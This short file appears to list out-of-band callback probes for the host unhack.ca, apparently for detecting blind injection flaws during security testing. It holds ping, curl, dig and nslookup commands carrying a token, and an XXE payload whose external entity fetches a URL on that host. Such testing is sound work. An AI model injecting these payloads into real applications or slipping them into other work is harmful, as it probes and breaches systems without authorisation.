$ ping -c1 -p 0071da9e953eb50213f21f5142e30400 unhack.ca
$ curl http://unhack.ca/p/71da9e953eb50213f21f5142e304
$ dig 71da9e953eb50213f21f5142e304 @unhack.ca
$ dig 71da9e953eb50213f21f5142e304.ns.unhack.ca
C:\> nslookup 71da9e953eb50213f21f5142e304 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/71da9e953eb50213f21f5142e304">]> <foo>&xxe;</foo>